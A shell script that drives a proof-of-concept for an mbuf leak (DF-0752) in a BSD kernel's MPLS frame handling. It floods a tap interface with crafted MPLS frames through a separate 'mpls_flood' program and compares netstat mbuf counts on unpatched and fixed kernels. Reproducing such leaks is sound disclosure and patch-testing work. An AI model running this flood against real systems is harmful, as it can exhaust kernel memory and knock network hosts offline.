#!/bin/sh
# Run the DF-0752 leak demonstration. Must be root (to open /dev/tap0 and
# configure the interface); the root privilege simulates the on-link attacker
# who can deliver arbitrary Ethernet frames on a real MPLS deployment.
#
# Prints netstat -m mbuf counts before and after the flood; on the UNPATCHED
# kernel "mbufs in use" grows by ~count, on the FIXED kernel it stays flat.
set -u
cd "$(dirname "$0")"
COUNT="${1:-20000}"
DEV="${2:-/dev/tap0}"

# Make sure tap0 exists & is up (idempotent).
ifconfig tap0 create 2>/dev/null || true
ifconfig tap0 up 2>/dev/null || true

echo "=== netstat -m BEFORE ==="
netstat -m | grep -E "mbufs in use|clusters in use|mbuf clusters in use|clusters free" || netstat -m | head -12

echo "=== flooding $COUNT MPLS frames into $DEV ==="
./mpls_flood "$DEV" "$COUNT"

echo "=== netstat -m AFTER ==="
netstat -m | grep -E "mbufs in use|clusters in use|mbuf clusters in use|clusters free" || netstat -m | head -12

echo "=== mpls stats ==="
# mplsstat isn't a standard tool; show mbstat instead
vmstat -z 2>/dev/null | grep -iE "mbuf|cluster" || true